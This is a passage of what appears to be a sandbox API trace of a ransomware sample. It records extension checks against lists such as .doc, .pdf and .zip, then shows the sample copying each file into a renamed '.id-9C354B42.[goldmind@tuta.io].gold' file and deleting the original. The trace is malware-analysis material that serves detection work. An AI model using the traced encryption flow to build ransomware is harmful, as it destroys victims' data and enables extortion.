Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.160] lstrlenW (lpString=".zip") returned 4 [0035.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.160] lstrlenW (lpString=".rar") returned 4 [0035.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".bz2") returned 4 [0035.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".7z") returned 3 [0035.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".dbf") returned 4 [0035.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".1cd") returned 4 [0035.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".jpg") returned 4 [0035.161] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".doc") returned 4 [0035.161] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".docx") returned 5 [0035.161] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.161] lstrlenW (lpString=".pdf") returned 4 [0035.161] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".xls") returned 4 [0035.161] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".xlsx") returned 5 [0035.161] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.161] lstrlenW (lpString=".ppt") returned 4 [0035.161] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".zip") returned 4 [0035.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.161] lstrlenW (lpString=".rar") returned 4 [0035.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".bz2") returned 4 [0035.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString=".7z") returned 3 [0035.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".dbf") returned 4 [0035.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".1cd") returned 4 [0035.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.161] lstrlenW (lpString=".jpg") returned 4 [0035.161] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.161] lstrcmpiW (lpString1=".chm", lpString2=".gold") returned -1 [0035.161] lstrlenW (lpString="setup.chm") returned 9 [0035.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.162] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=67190) returned 1 [0035.162] CloseHandle (hObject=0x178) returned 1 [0035.162] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0035.162] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.162] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.162] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.162] GetLastError () returned 0x0 [0035.162] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x10676, lpOverlapped=0x0) returned 1 [0035.165] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0035.166] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.166] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.166] SetEndOfFile (hFile=0x194) returned 1 [0035.166] CloseHandle (hObject=0x194) returned 1 [0035.168] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.168] SetEndOfFile (hFile=0x178) returned 1 [0035.169] CloseHandle (hObject=0x178) returned 1 [0035.169] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.169] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0035.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.169] lstrlenW (lpString=".doc") returned 4 [0035.169] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.169] lstrlenW (lpString=".docx") returned 5 [0035.169] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.169] lstrlenW (lpString=".pdf") returned 4 [0035.169] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".xls") returned 4 [0035.170] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".xlsx") returned 5 [0035.170] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.170] lstrlenW (lpString=".ppt") returned 4 [0035.170] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString=".zip") returned 4 [0035.170] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".rar") returned 4 [0035.170] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".bz2") returned 4 [0035.170] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.170] lstrlenW (lpString=".7z") returned 3 [0035.170] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString=".dbf") returned 4 [0035.170] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString=".1cd") returned 4 [0035.170] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString=".jpg") returned 4 [0035.170] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString=".doc") returned 4 [0035.170] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".docx") returned 5 [0035.170] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.170] lstrlenW (lpString=".pdf") returned 4 [0035.170] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".xls") returned 4 [0035.170] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".xlsx") returned 5 [0035.170] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.170] lstrlenW (lpString=".ppt") returned 4 [0035.170] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.170] lstrlenW (lpString=".zip") returned 4 [0035.170] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".rar") returned 4 [0035.170] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.170] lstrlenW (lpString=".bz2") returned 4 [0035.170] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.170] lstrlenW (lpString=".7z") returned 3 [0035.171] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.171] lstrlenW (lpString=".dbf") returned 4 [0035.171] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.171] lstrlenW (lpString=".1cd") returned 4 [0035.171] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.171] lstrlenW (lpString=".jpg") returned 4 [0035.171] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.171] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.171] lstrlenW (lpString="Setup.xml") returned 9 [0035.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.171] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=9352) returned 1 [0035.171] CloseHandle (hObject=0x178) returned 1 [0035.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.171] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.171] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.172] GetLastError () returned 0x0 [0035.172] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x2488, lpOverlapped=0x0) returned 1 [0035.427] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0035.428] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.428] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.428] SetEndOfFile (hFile=0x194) returned 1 [0035.429] CloseHandle (hObject=0x194) returned 1 [0035.429] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.429] SetEndOfFile (hFile=0x178) returned 1 [0035.430] CloseHandle (hObject=0x178) returned 1 [0035.430] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.430] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.431] lstrlenW (lpString=".doc") returned 4 [0035.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString=".docx") returned 5 [0035.431] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.431] lstrlenW (lpString=".pdf") returned 4 [0035.431] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString=".xls") returned 4 [0035.431] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString=".xlsx") returned 5 [0035.431] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.431] lstrlenW (lpString=".ppt") returned 4 [0035.431] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.431] lstrlenW (lpString=".zip") returned 4 [0035.431] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.431] lstrlenW (lpString=".rar") returned 4 [0035.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString=".bz2") returned 4 [0035.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString=".7z") returned 3 [0035.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.431] lstrlenW (lpString=".dbf") returned 4 [0035.431] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.431] lstrlenW (lpString=".1cd") returned 4 [0035.431] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.431] lstrlenW (lpString=".jpg") returned 4 [0035.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.432] lstrlenW (lpString=".doc") returned 4 [0035.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString=".docx") returned 5 [0035.432] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.432] lstrlenW (lpString=".pdf") returned 4 [0035.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString=".xls") returned 4 [0035.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString=".xlsx") returned 5 [0035.432] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.432] lstrlenW (lpString=".ppt") returned 4 [0035.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.432] lstrlenW (lpString=".zip") returned 4 [0035.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.432] lstrlenW (lpString=".rar") returned 4 [0035.432] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString=".bz2") returned 4 [0035.432] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString=".7z") returned 3 [0035.432] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.432] lstrlenW (lpString=".dbf") returned 4 [0035.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.432] lstrlenW (lpString=".1cd") returned 4 [0035.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.432] lstrlenW (lpString=".jpg") returned 4 [0035.432] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.432] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0035.432] lstrlenW (lpString="MS.PNG") returned 6 [0035.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.433] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1682) returned 1 [0035.433] CloseHandle (hObject=0x178) returned 1 [0035.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0035.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.433] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.433] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.433] GetLastError () returned 0x0 [0035.433] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x692, lpOverlapped=0x0) returned 1 [0035.435] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0035.436] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.436] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0035.436] SetEndOfFile (hFile=0x194) returned 1 [0035.436] CloseHandle (hObject=0x194) returned 1 [0035.437] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.437] SetEndOfFile (hFile=0x178) returned 1 [0035.438] CloseHandle (hObject=0x178) returned 1 [0035.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0035.438] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString=".doc") returned 4 [0035.439] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString=".docx") returned 5 [0035.439] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0035.439] lstrlenW (lpString=".pdf") returned 4 [0035.439] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0035.439] lstrlenW (lpString=".xls") returned 4 [0035.439] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0035.439] lstrlenW (lpString=".xlsx") returned 5 [0035.439] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0035.439] lstrlenW (lpString=".ppt") returned 4 [0035.439] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0035.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0035.439] lstrlenW (lpString=".zip") returned 4 [0035.439] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0035.439] lstrlenW (lpString=".rar") returned 4 [0035.439] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0035.439] lstrlenW (lpString=".bz2") returned 4 [0035.439] lstrcmpiW 